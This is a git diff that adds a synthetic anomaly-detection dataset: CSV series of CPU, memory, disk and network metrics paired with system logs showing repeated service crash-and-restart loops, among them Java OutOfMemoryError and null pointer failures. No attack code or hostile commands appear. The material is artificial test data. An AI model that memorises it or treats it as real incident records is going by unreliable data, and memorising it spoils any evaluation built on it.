10:06:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:06:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:07:00 systemd[1]: Started My Application. +Jul 11 10:07:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:07:02 my-app[3382]: INFO Application starting up... +Jul 11 10:07:03 my-app[3382]: INFO Listening on port 8080 diff --git a/anom_dataset/scenario_11/anom_11_28.csv b/anom_dataset/scenario_11/anom_11_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..55b23631415084ebd796c22f72b524e034babdaa --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,77.59,22.95,42.64,5.86,3.01 +2025-07-11T10:00:05Z,91.55,38.67,41.21,4.45,2.31 +2025-07-11T10:00:10Z,97.72,61.55,41.0,4.81,3.88 +2025-07-11T10:00:15Z,18.41,75.18,15.22,1.28,1.08 +2025-07-11T10:00:20Z,23.95,75.16,17.97,1.95,0.5 +2025-07-11T10:00:25Z,22.02,80.08,19.46,1.09,0.81 +2025-07-11T10:00:30Z,17.94,76.29,18.25,1.16,1.29 +2025-07-11T10:00:35Z,19.18,78.98,19.12,1.81,1.41 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+2025-07-11T10:07:20Z,8.55,13.4,0.0,0.0,0.0 +2025-07-11T10:07:25Z,8.75,10.93,0.0,0.0,0.0 diff --git a/anom_dataset/scenario_11/anom_11_28.log b/anom_dataset/scenario_11/anom_11_28.log new file mode 100644 index 0000000000000000000000000000000000000000..5049efc30fbf29954a99f64bc6c2cedacf0d4224 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_28.log @@ -0,0 +1,64 @@ +Jul 11 10:00:05 my-app[2233]: INFO Application starting up... +Jul 11 10:00:15 my-app[2233]: INFO Database connection established. +Jul 11 10:00:25 systemd[1]: Started My Application Service. +Jul 11 10:00:10 my-app[2233]: INFO Database connection established. +Jul 11 10:00:35 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:01:00 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:01:00 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:01:00 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:01:05 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:05 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:01:10 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:01:15 systemd[1]: Started My Application Service. +Jul 11 10:01:20 my-app[2233]: INFO Application starting up... +Jul 11 10:01:25 my-app[2233]: INFO Database connection established. +Jul 11 10:01:45 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:02:15 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:02:15 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:02:15 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:02:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:02:20 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:02:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:02:30 systemd[1]: Started My Application Service. +Jul 11 10:02:35 my-app[2233]: INFO Application starting up... +Jul 11 10:02:40 my-app[2233]: INFO Database connection established. +Jul 11 10:02:55 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:03:30 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:03:30 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:03:30 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:03:30 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:03:35 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:35 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:03:40 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:03:45 systemd[1]: Started My Application Service. +Jul 11 10:03:50 my-app[2233]: INFO Application starting up... +Jul 11 10:03:55 my-app[2233]: INFO Database connection established. +Jul 11 10:04:05 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:04:40 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:04:45 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:04:45 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:04:45 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:04:50 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:04:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:04:55 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:05:00 systemd[1]: Started My Application Service. +Jul 11 10:05:05 my-app[2233]: INFO Application starting up... +Jul 11 10:05:10 my-app[2233]: INFO Database connection established. +Jul 11 10:05:15 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:05:50 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:06:00 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:06:00 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:06:00 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:06:05 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:05 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:06:10 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:06:15 systemd[1]: Started My Application Service. +Jul 11 10:06:20 my-app[2233]: INFO Application starting up... +Jul 11 10:06:25 my-app[2233]: INFO Database connection established. +Jul 11 10:07:00 my-app[2233]: GET /api/v1/health status=200 OK +Jul 11 10:07:15 my-app[2233]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:07:15 my-app[2233]: at com.example.service.DataProcessor.process(DataProcessor.java:42) +Jul 11 10:07:15 my-app[2233]: at com.example.service.MainLoop.run(MainLoop.java:101) +Jul 11 10:07:20 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:07:20 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:07:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. diff --git a/anom_dataset/scenario_11/anom_11_3.csv b/anom_dataset/scenario_11/anom_11_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..f40c0f3347992aa9f33249b7a1b656f43f2faa54 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16 12:00:00+00:00,3.87,11.65,3.22,0.11,0.07 +2025-08-16 12:00:05+00:00,5.92,10.39,4.09,0.08,0.05 +2025-08-16 12:00:10+00:00,86.71,18.13,41.05,2.73,0.91 +2025-08-16 12:00:15+00:00,87.28,38.64,35.58,2.13,1.2 +2025-08-16 12:00:20+00:00,80.76,57.61,38.21,2.31,1.46 +2025-08-16 12:00:25+00:00,74.48,77.3,10.86,1.08,0.95 +2025-08-16 12:00:30+00:00,74.65,77.88,11.49,1.09,0.66 +2025-08-16 12:00:35+00:00,79.34,73.73,9.74,1.1,0.56 +2025-08-16 12:00:40+00:00,70.85,76.01,9.57,0.91,0.84 +2025-08-16 12:00:45+00:00,70.37,76.45,10.14,0.85,0.65 +2025-08-16 12:00:50+00:00,69.82,70.08,16.97,0.61,0.6 +2025-08-16 12:00:55+00:00,96.3,73.02,18.05,0.29,0.25 +2025-08-16 12:01:00+00:00,4.14,13.27,5.2,0.02,0.02 +2025-08-16 12:01:05+00:00,4.56,12.78,2.51,0.12,0.1 +2025-08-16 12:01:10+00:00,5.11,11.66,4.64,0.06,0.1 +2025-08-16 12:01:15+00:00,85.63,20.62,49.97,2.52,1.62 +2025-08-16 12:01:20+00:00,89.53,32.0,51.52,2.18,0.97 +2025-08-16 12:01:25+00:00,88.92,57.35,35.23,2.61,0.93 +2025-08-16 12:01:30+00:00,67.55,76.91,14.15,0.69,0.59 +2025-08-16 12:01:35+00:00,72.17,77.25,14.08,0.75,0.59 +2025-08-16 12:01:40+00:00,74.1,72.08,15.9,0.68,0.85 +2025-08-16 12:01:45+00:00,72.53,70.17,13.0,1.16,0.73 +2025-08-16 12:01:50+00:00,67.43,71.16,15.94,0.94,0.66 +2025-08-16 12:01:55+00:00,77.05,74.57,16.69,0.96,0.58 +2025-08-16 12:02:00+00:00,97.09,73.4,18.15,0.34,0.34 +2025-08-16 12:02:05+00:00,5.42,12.29,2.8,0.1,0.08 +2025-08-16 12:02:10+00:00,4.33,10.63,4.69,0.11,0.07 +2025-08-16 12:02:15+00:00,5.55,10.53,5.03,0.12,0.05 +2025-08-16 12:02:20+00:00,93.57,17.14,39.28,2.29,1.42 +2025-08-16 12:02:25+00:00,85.54,33.01,41.97,2.33,1.58 +2025-08-16 12:02:30+00:00,95.75,55.54,42.12,1.94,1.14 +2025-08-16 12:02:35+00:00,77.43,75.62,8.11,0.67,0.53 +2025-08-16 12:02:40+00:00,72.03,77.38,15.56,0.87,0.82 +2025-08-16 12:02:45+00:00,73.53,71.04,9.25,1.19,0.78 +2025-08-16 12:02:50+00:00,73.38,76.86,11.37,0.7,0.57 +2025-08-16 12:02:55+00:00,65.61,75.84,14.99,1.15,0.68 +2025-08-16 12:03:00+00:00,70.37,72.76,16.67,1.14,0.97 +2025-08-16 12:03:05+00:00,96.89,78.61,18.07,0.44,0.53 +2025-08-16 12:03:10+00:00,4.25,13.96,5.07,0.11,0.02 +2025-08-16 12:03:15+00:00,5.5,12.07,5.53,0.07,0.07 +2025-08-16 12:03:20+00:00,4.64,13.56,4.41,0.05,0.08 +2025-08-16 12:03:25+00:00,88.0,17.69,43.67,2.02,1.31 +2025-08-16 12:03:30+00:00,93.98,35.56,38.55,2.32,1.41 +2025-08-16 12:03:35+00:00,90.09,51.15,43.04,2.31,1.24 +2025-08-16 12:03:40+00:00,79.87,73.39,8.85,1.12,0.65 +2025-08-16 12:03:45+00:00,77.25,70.75,17.08,1.2,0.9 +2025-08-16 12:03:50+00:00,73.64,71.45,15.58,0.77,0.81 +2025-08-16 12:03:55+00:00,78.24,72.51,15.85,0.87,0.92 +2025-08-16 12:04:00+00:00,74.49,77.71,11.14,1.01,0.94 +2025-08-16 12:04:05+00:00,65.65,77.52,9.34,1.18,0.79 +2025-08-16 12:04:10+00:00,98.39,78.05,18.15,0.37,0.55 +2025-08-16 12:04:15+00:00,3.84,13.6,4.26,0.06,0.08 +2025-08-16 12:04:20+00:00,4.93,12.42,2.33,0.06,0.04 +2025-08-16 12:04:25+00:00,4.06,10.83,5.56,0.05,0.03 +2025-08-16 12:04:30+00:00,90.75,17.93,54.77,2.17,1.77 +2025-08-16 12:04:35+00:00,95.96,38.37,40.67,2.4,1.07 +2025-08-16 12:04:40+00:00,84.09,51.4,39.03,2.72,1.61 +2025-08-16 12:04:45+00:00,65.71,75.36,8.58,1.15,0.72 +2025-08-16 12:04:50+00:00,66.21,74.41,8.06,0.83,0.56 +2025-08-16 12:04:55+00:00,72.78,74.62,10.43,1.19,0.6 +2025-08-16 12:05:00+00:00,77.99,78.0,11.25,0.61,0.96 +2025-08-16 12:05:05+00:00,71.46,72.6,15.33,0.7,0.63 +2025-08-16 12:05:10+00:00,70.44,71.08,14.43,1.07,0.8 +2025-08-16 12:05:15+00:00,97.76,75.16,13.96,0.3,0.41 +2025-08-16 12:05:20+00:00,3.44,10.26,3.66,0.09,0.05 +2025-08-16 12:05:25+00:00,4.2,10.63,2.49,0.09,0.09 +2025-08-16 12:05:30+00:00,4.84,14.16,2.57,0.05,0.06 +2025-08-16 12:05:35+00:00,91.97,18.58,42.05,1.94,1.03 +2025-08-16 12:05:40+00:00,95.35,34.68,43.21,2.77,0.93 +2025-08-16 12:05:45+00:00,82.99,50.7,36.05,2.78,1.45 +2025-08-16 12:05:50+00:00,74.83,75.94,8.16,1.2,0.97 +2025-08-16 12:05:55+00:00,79.18,71.5,13.88,0.61,0.85 +2025-08-16 12:06:00+00:00,73.85,73.75,16.18,0.91,0.73 +2025-08-16 12:06:05+00:00,69.41,72.99,16.51,0.95,0.71 +2025-08-16 12:06:10+00:00,75.64,76.1,10.82,0.8,0.82 +2025-08-16 12:06:15+00:00,69.31,71.33,16.75,0.76,0.81 +2025-08-16 12:06:20+00:00,98.66,75.09,14.55,0.55,0.46 +2025-08-16 12:06:25+00:00,5.88,11.18,2.53,0.12,0.03 +2025-08-16 12:06:30+00:00,4.79,10.19,2.05,0.03,0.05 +2025-08-16 12:06:35+00:00,4.8,14.06,2.92,0.09,0.04 +2025-08-16 12:06:40+00:00,90.85,17.54,48.63,2.38,1.08 +2025-08-16 12:06:45+00:00,94.39,33.27,48.19,1.92,1.3 +2025-08-16 12:06:50+00:00,84.4,55.61,53.35,2.62,1.76 +2025-08-16 12:06:55+00:00,74.72,71.1,12.51,1.04,0.66 +2025-08-16 12:07:00+00:00,78.86,74.55,14.77,0.66,0.94 +2025-08-16 12:07:05+00:00,78.38,72.58,8.59,0.97,0.88 +2025-08-16 12:07:10+00:00,71.13,73.06,12.46,1.01,0.7 +2025-08-16 12:07:15+00:00,79.53,73.07,14.98,0.71,0.92 +2025-08-16 12:07:20+00:00,73.06,72.77,12.42,0.76,0.63 +2025-08-16 12:07:25+00:00,98.71,74.77,17.1,0.45,0.26 diff --git a/anom_dataset/scenario_11/anom_11_3.log b/anom_dataset/scenario_11/anom_11_3.log new file mode 100644 index 0000000000000000000000000000000000000000..554c914e32ada079eba846e66a1232e7f7257fb3 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_3.log @@ -0,0 +1,40 @@ +Aug 16 12:00:15 api-gateway[24000]: INFO: Service initializing... Git-SHA: 011940 +Aug 16 12:00:55 api-gateway[24000]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 12:01:00 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:01:01 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:01:02 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 1. +Aug 16 12:01:05 systemd[1]: Started api-gateway.service. +Aug 16 12:01:20 api-gateway[24127]: INFO: Service initializing... Git-SHA: 011abd +Aug 16 12:01:40 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 16 12:02:00 api-gateway[24127]: FATAL: Null pointer dereference in core processing thread +Aug 16 12:02:05 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:02:06 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:02:07 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 2. +Aug 16 12:02:10 systemd[1]: Started api-gateway.service. +Aug 16 12:02:25 api-gateway[24254]: INFO: Service initializing... Git-SHA: 011c3a +Aug 16 12:03:05 api-gateway[24254]: FATAL: Corrupted data block detected in input queue +Aug 16 12:03:10 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:03:11 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:03:12 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 3. +Aug 16 12:03:15 systemd[1]: Started api-gateway.service. +Aug 16 12:03:30 api-gateway[24381]: INFO: Service initializing... Git-SHA: 011db7 +Aug 16 12:04:10 api-gateway[24381]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 12:04:15 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:04:16 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:04:17 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 4. +Aug 16 12:04:20 systemd[1]: Started api-gateway.service. +Aug 16 12:04:35 api-gateway[24508]: INFO: Service initializing... Git-SHA: 011f34 +Aug 16 12:04:35 CRON[23456]: (admin) CMD ( /home/admin/scripts/backup.sh) +Aug 16 12:05:15 api-gateway[24508]: FATAL: Null pointer dereference in core processing thread +Aug 16 12:05:20 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:05:21 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:05:22 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 5. +Aug 16 12:05:25 systemd[1]: Started api-gateway.service. +Aug 16 12:05:40 api-gateway[24635]: INFO: Service initializing... Git-SHA: 0120b1 +Aug 16 12:06:20 api-gateway[24635]: FATAL: Corrupted data block detected in input queue +Aug 16 12:06:25 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 12:06:26 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 12:06:27 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 6. +Aug 16 12:06:30 systemd[1]: Started api-gateway.service. +Aug 16 12:06:45 api-gateway[24762]: INFO: Service initializing... Git-SHA: 01222e +Aug 16 12:07:25 api-gateway[24762]: FATAL: Memory access violation at 0xDEADBEEF diff --git a/anom_dataset/scenario_11/anom_11_4.csv b/anom_dataset/scenario_11/anom_11_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..2b31aa889597dd7d7e53873b2e56a9968d437894 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16 15:00:00+00:00,3.26,12.55,5.84,0.07,0.11 +2025-08-16 15:00:05+00:00,3.96,12.43,4.63,0.07,0.07 +2025-08-16 15:00:10+00:00,84.78,21.34,46.24,2.26,1.68 +2025-08-16 15:00:15+00:00,87.99,37.9,49.74,2.27,1.05 +2025-08-16 15:00:20+00:00,86.2,52.39,42.35,2.45,1.37 +2025-08-16 15:00:25+00:00,78.28,71.28,15.83,1.11,0.51 +2025-08-16 15:00:30+00:00,78.28,77.05,14.75,0.89,0.75 +2025-08-16 15:00:35+00:00,71.47,73.08,12.13,0.86,0.78 +2025-08-16 15:00:40+00:00,71.54,73.95,15.28,0.93,0.64 +2025-08-16 15:00:45+00:00,66.21,77.49,12.84,0.89,0.92 +2025-08-16 15:00:50+00:00,75.66,70.06,16.58,0.93,0.83 +2025-08-16 15:00:55+00:00,98.65,72.75,19.43,0.58,0.55 +2025-08-16 15:01:00+00:00,3.24,14.71,5.49,0.04,0.05 +2025-08-16 15:01:05+00:00,3.18,12.36,5.18,0.06,0.12 +2025-08-16 15:01:10+00:00,3.1,11.77,4.95,0.1,0.07 +2025-08-16 15:01:15+00:00,91.48,15.1,36.25,2.17,1.37 +2025-08-16 15:01:20+00:00,94.74,36.45,44.0,2.4,1.38 +2025-08-16 15:01:25+00:00,87.46,56.88,41.48,2.02,1.24 +2025-08-16 15:01:30+00:00,73.3,73.33,17.01,0.86,0.72 +2025-08-16 15:01:35+00:00,77.24,77.69,10.58,0.88,0.52 +2025-08-16 15:01:40+00:00,71.27,70.0,9.84,1.03,0.87 +2025-08-16 15:01:45+00:00,78.31,70.18,13.22,0.82,0.86 +2025-08-16 15:01:50+00:00,73.17,70.74,10.55,0.93,0.84 +2025-08-16 15:01:55+00:00,65.34,72.63,12.03,0.85,0.88 +2025-08-16 15:02:00+00:00,97.02,76.05,12.99,0.49,0.48 +2025-08-16 15:02:05+00:00,4.39,11.58,2.07,0.08,0.03 +2025-08-16 15:02:10+00:00,5.52,12.96,2.97,0.02,0.03 +2025-08-16 15:02:15+00:00,4.23,13.95,4.17,0.04,0.11 +2025-08-16 15:02:20+00:00,90.64,18.55,37.24,1.94,1.64 +2025-08-16 15:02:25+00:00,85.01,35.36,45.4,2.55,1.68 +2025-08-16 15:02:30+00:00,91.34,50.62,49.34,2.54,1.68 +2025-08-16 15:02:35+00:00,77.66,72.07,14.78,0.62,0.59 +2025-08-16 15:02:40+00:00,68.16,71.01,10.97,1.05,0.8 +2025-08-16 15:02:45+00:00,67.36,70.5,15.14,1.01,0.55 +2025-08-16 15:02:50+00:00,73.39,70.28,14.28,0.84,0.82 +2025-08-16 15:02:55+00:00,79.59,70.11,11.69,0.76,0.52 +2025-08-16 15:03:00+00:00,65.49,70.63,12.93,0.99,0.52 +2025-08-16 15:03:05+00:00,98.92,77.24,12.32,0.54,0.39 +2025-08-16 15:03:10+00:00,5.7,13.39,3.22,0.11,0.09 +2025-08-16 15:03:15+00:00,4.77,10.65,4.36,0.1,0.12 +2025-08-16 15:03:20+00:00,3.38,11.8,2.37,0.08,0.07 +2025-08-16 15:03:25+00:00,87.38,15.1,42.73,2.64,0.9 +2025-08-16 15:03:30+00:00,94.53,32.5,38.05,2.01,1.12 +2025-08-16 15:03:35+00:00,86.26,56.57,53.15,2.17,1.17 +2025-08-16 15:03:40+00:00,75.19,77.71,13.69,1.02,0.55 +2025-08-16 15:03:45+00:00,78.28,76.64,10.5,1.13,0.87 +2025-08-16 15:03:50+00:00,79.41,70.4,12.14,1.17,0.68 +2025-08-16 15:03:55+00:00,72.6,77.53,14.44,1.19,0.62 +2025-08-16 15:04:00+00:00,71.52,74.34,12.0,0.91,0.79 +2025-08-16 15:04:05+00:00,66.84,76.81,14.64,1.19,0.94 +2025-08-16 15:04:10+00:00,96.91,74.25,19.86,0.51,0.28 +2025-08-16 15:04:15+00:00,5.18,10.63,2.58,0.08,0.05 +2025-08-16 15:04:20+00:00,3.32,10.42,4.33,0.05,0.05 +2025-08-16 15:04:25+00:00,3.4,14.83,5.24,0.07,0.08 +2025-08-16 15:04:30+00:00,91.12,17.02,41.45,1.98,1.75 +2025-08-16 15:04:35+00:00,92.74,38.87,52.75,2.74,1.75 +2025-08-16 15:04:40+00:00,87.3,55.76,35.25,2.16,0.95 +2025-08-16 15:04:45+00:00,73.72,73.78,15.48,0.84,1.0 +2025-08-16 15:04:50+00:00,77.57,76.17,14.3,0.61,0.8 +2025-08-16 15:04:55+00:00,73.33,72.51,16.87,0.72,0.99 +2025-08-16 15:05:00+00:00,72.28,76.62,17.62,0.67,0.83 +2025-08-16 15:05:05+00:00,79.11,76.47,11.27,0.64,0.94 +2025-08-16 15:05:10+00:00,77.62,74.28,10.48,0.78,0.94 +2025-08-16 15:05:15+00:00,96.54,76.66,15.47,0.5,0.33 +2025-08-16 15:05:20+00:00,5.42,12.6,4.33,0.05,0.12 +2025-08-16 15:05:25+00:00,4.45,12.73,5.91,0.05,0.06 +2025-08-16 15:05:30+00:00,4.0,14.57,2.85,0.12,0.11 +2025-08-16 15:05:35+00:00,94.93,19.07,53.88,2.24,1.78 +2025-08-16 15:05:40+00:00,82.05,32.52,36.01,2.34,1.6 +2025-08-16 15:05:45+00:00,95.49,55.42,38.85,2.25,1.56 +2025-08-16 15:05:50+00:00,78.98,72.14,13.92,1.19,0.67 +2025-08-16 15:05:55+00:00,75.93,70.04,13.04,1.07,0.52 +2025-08-16 15:06:00+00:00,67.76,77.53,16.4,1.18,0.62 +2025-08-16 15:06:05+00:00,73.17,77.5,12.54,0.68,0.79 +2025-08-16 15:06:10+00:00,69.8,77.26,14.45,1.06,0.62 +2025-08-16 15:06:15+00:00,68.76,71.23,13.17,0.85,0.66 +2025-08-16 15:06:20+00:00,98.42,74.87,19.76,0.38,0.3 +2025-08-16 15:06:25+00:00,3.67,12.23,2.29,0.1,0.07 +2025-08-16 15:06:30+00:00,3.81,13.07,2.24,0.08,0.03 +2025-08-16 15:06:35+00:00,5.24,10.23,3.87,0.12,0.07 +2025-08-16 15:06:40+00:00,95.48,18.58,45.53,2.25,1.38 +2025-08-16 15:06:45+00:00,93.34,37.11,46.7,1.86,0.98 +2025-08-16 15:06:50+00:00,95.73,50.98,46.91,2.25,1.21 +2025-08-16 15:06:55+00:00,69.84,76.46,8.81,0.83,0.86 +2025-08-16 15:07:00+00:00,72.37,73.93,14.36,0.8,1.0 +2025-08-16 15:07:05+00:00,67.4,75.92,8.73,0.65,0.59 +2025-08-16 15:07:10+00:00,73.8,76.9,15.18,0.82,0.6 +2025-08-16 15:07:15+00:00,70.03,77.4,11.84,0.71,0.75 +2025-08-16 15:07:20+00:00,65.15,76.69,17.4,1.17,0.56 +2025-08-16 15:07:25+00:00,98.14,74.62,12.65,0.44,0.29 diff --git a/anom_dataset/scenario_11/anom_11_4.log b/anom_dataset/scenario_11/anom_11_4.log new file mode 100644 index 0000000000000000000000000000000000000000..93b3eb82a01792026e0332f65ee8389614024d6f --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_4.log @@ -0,0 +1,40 @@ +Aug 16 15:00:15 api-gateway[25000]: INFO: Service initializing... Git-SHA: 0124f8 +Aug 16 15:00:55 api-gateway[25000]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 15:01:00 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:01:01 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:01:02 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 1. +Aug 16 15:01:05 systemd[1]: Started api-gateway.service. +Aug 16 15:01:20 api-gateway[25127]: INFO: Service initializing... Git-SHA: 012675 +Aug 16 15:01:40 kernel: [18234.56] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Aug 16 15:02:00 api-gateway[25127]: FATAL: Null pointer dereference in core processing thread +Aug 16 15:02:05 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:02:06 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:02:07 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 2. +Aug 16 15:02:10 systemd[1]: Started api-gateway.service. +Aug 16 15:02:25 api-gateway[25254]: INFO: Service initializing... Git-SHA: 0127f2 +Aug 16 15:03:05 api-gateway[25254]: FATAL: Corrupted data block detected in input queue +Aug 16 15:03:10 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:03:11 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:03:12 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 3. +Aug 16 15:03:15 systemd[1]: Started api-gateway.service. +Aug 16 15:03:30 api-gateway[25381]: INFO: Service initializing... Git-SHA: 01296f +Aug 16 15:04:10 api-gateway[25381]: FATAL: Memory access violation at 0xDEADBEEF +Aug 16 15:04:15 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:04:16 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:04:17 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 4. +Aug 16 15:04:20 systemd[1]: Started api-gateway.service. +Aug 16 15:04:35 api-gateway[25508]: INFO: Service initializing... Git-SHA: 012aec +Aug 16 15:04:35 CRON[23456]: (admin) CMD ( /home/admin/scripts/backup.sh) +Aug 16 15:05:15 api-gateway[25508]: FATAL: Null pointer dereference in core processing thread +Aug 16 15:05:20 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:05:21 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:05:22 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 5. +Aug 16 15:05:25 systemd[1]: Started api-gateway.service. +Aug 16 15:05:40 api-gateway[25635]: INFO: Service initializing... Git-SHA: 012c69 +Aug 16 15:06:20 api-gateway[25635]: FATAL: Corrupted data block detected in input queue +Aug 16 15:06:25 systemd[1]: api-gateway.service: Main process exited, code=exited, status=1/FAILURE +Aug 16 15:06:26 systemd[1]: api-gateway.service: Failed with result 'exit-code'. +Aug 16 15:06:27 systemd[1]: api-gateway.service: Scheduled restart job, restart counter is at 6. +Aug 16 15:06:30 systemd[1]: Started api-gateway.service. +Aug 16 15:06:45 api-gateway[25762]: INFO: Service initializing... Git-SHA: 012de6 +Aug 16 15:07:25 api-gateway[25762]: FATAL: Memory access violation at 0xDEADBEEF diff --git a/anom_dataset/scenario_11/anom_11_5.csv b/anom_dataset/scenario_11/anom_11_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c67f99fe0c73bad1da348a3068e0321a13e5625 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,13.818810919771188,24.110710637357187,37.797221504367,0.581114926712391,0.894033631107742 +2025-07-15T14:00:05Z,69.65177768421692,41.060025389862744,31.158684027524988,0.8734368708611053,1.933434973925765 +2025-07-15T14:00:10Z,86.49284851949004,65.20059279170324,31.580975594599373,1.0491144107096078,1.096647889418597 +2025-07-15T14:00:15Z,98.35013500673892,85.21224026685397,48.73099489203266,0.5658422698615043,1.8979780784464813 +2025-07-15T14:00:20Z,95.1087132227963,80.88340821335179,24.616049935319797,0.9502716934710229,1.8472888552001951 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0000000000000000000000000000000000000000..90961335105428e6b93b3fb4a519c51e049624b0 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_5.log @@ -0,0 +1,83 @@ +Jul 15 14:00:00 sshd[8832]: Accepted password for user admin from 10.0.2.2 port 51340 ssh2 +Jul 15 14:00:05 data-processor[10101]: INFO: Starting data processing service version 2.1.3... 